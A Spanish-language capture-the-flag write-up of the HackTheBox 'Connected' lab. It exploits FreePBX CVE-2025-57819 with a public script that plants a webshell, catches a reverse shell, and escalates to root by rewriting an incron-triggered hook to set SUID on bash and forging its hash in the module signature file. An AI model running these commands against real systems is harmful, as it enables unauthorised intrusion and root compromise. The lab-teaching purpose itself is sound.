Post

Connected — HackTheBox Season 11

Connected — HackTheBox Season 11

Card de la máquina Connected — Easy Linux en Hack The Box

Comencé el análisis de esta máquina realizando un escaneo de puertos TCP con nmap:

1
sudo nmap -T5 --open 10.129.13.221 -oG allports

Escaneo inicial — se descubren los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS)

El escaneo revela tres puertos abiertos:

  • 22/tcp — SSH (OpenSSH 7.4)
  • 80/tcp — HTTP
  • 443/tcp — HTTPS

Lanzamos un escaneo más exhaustivo para identificar versiones y fingerprinting de servicios:

1
sudo nmap -sV -sC -p 22,80,443 10.129.13.221

Escaneo de versiones — Apache 2.4.6 con PHP/7.4.16, certificado SSL con CN=pbxconnect, y redirección al dominio connected.htb

Descubrimientos clave:

  • El servidor web corre Apache 2.4.6 sobre CentOS con PHP 7.4.16.
  • El certificado TLS tiene como CN pbxconnect, lo que sugiere una instancia de FreePBX.
  • El servidor redirige al hostname connected.htb.

Añadimos el objetivo a nuestra resolución DNS local:

1
echo "10.129.13.221 connected.htb" | sudo tee -a /etc/hosts

Fase 2: Reconocimiento Web y Búsqueda de Vulnerabilidades

La aplicación web expone un panel de administración de FreePBX. Investigando vulnerabilidades recientes para este software, encontramos el CVE CVE-2025-57819: una vulnerabilidad pre-autenticada que combina un bypass de autenticación con inyección SQL, lo que resulta en ejecución remota de código (RCE).

Localizamos en GitHub un exploit público de la comunidad watchTowr:

Repositorio GitHub de watchTowr — exploit CVE-2025-57819 para FreePBX Pre-Auth RCE

Fase 3: Foothold — Explotación de CVE-2025-57819

Ejecutamos el exploit proporcionando la URL objetivo:

1
python watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

Ejecución del exploit — se confirma la vulnerabilidad y se detecta webshell en la ruta generada

El exploit confirma que la instancia es VULNERABLE y crea automáticamente una webshell accesible en una ruta aleatoria dentro del servidor.

Aprovechando el acceso a la webshell, ejecutamos un payload de reverse shell en el navegador:

URL de la webshell en el navegador con el payload de reverse shell en Python a través del parámetro cmd

Con un listener activo en nuestra máquina obtenemos la conexión:

1
nc -lvnp 4444

Reverse shell recibida como usuario asterisk — banner de FreePBX visible en el terminal

Conseguimos acceso inicial como el usuario asterisk.

Fase 4: Post-Explotación y Escalada de Privilegios

Tras conseguir el acceso inicial como el usuario asterisk, usamos la herramienta linpeas para enumerar el sistema.

Al revisar el directorio /etc/incron.d/, que es donde se guardan las configuraciones de incron (un servicio que ejecuta comandos automáticamente cuando ocurren eventos en el sistema de archivos), encontramos una regla crítica:

Cualquier archivo que se toque o modifique dentro de /var/spool/asterisk/incron hará que el script /usr/bin/sysadmin_manager se ejecute con privilegios de root.

Descubrimos una línea crítica en /usr/bin/sysadmin_manager:

1
system("$hookfile $params");

Explotación del Hook con SUID Hijacking

Verificamos y encontramos un archivo en la carpeta hooks. Modificamos el hook wifi-scan para que asigne permisos SUID a /bin/bash:

1
2
3
cat > /var/www/html/admin/modules/sysadmin/hooks/wifi-scan << 'EOF'
 chmod u+s /bin/bash
EOF

Escritura del payload en el hook wifi-scan como usuario asterisk

Debido a que el binario supervisor valida la integridad del archivo antes de su ejecución, cualquier modificación arbitraria rompería la coherencia del módulo. Calculamos el nuevo hash SHA256 correspondiente al payload recién inyectado y lo almacenamos en una variable de entorno local:

1
NEW_HASH=$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/wifi-scan | awk '{print $1}')

Inyectamos ese nuevo hash en el archivo de firmas legítimas:

1
sed -i "s|hooks/wifi-scan = .*|hooks/wifi-scan = $NEW_HASH|" /var/www/html/admin/modules/sysadmin/module.sig

Creamos el archivo en el spool para despertar a incron y disparar la ejecución del manager como root:

1
touch /var/spool/asterisk/incron/sysadmin.wifi-scan

Ejecutamos bash con los privilegios heredados del bit SUID:

1
/bin/bash -p

Confirmación de acceso root — bash-4.2# whoami devuelve root

¡Máquina rooteada exitosamente!

This post is licensed under CC BY 4.0 by the author.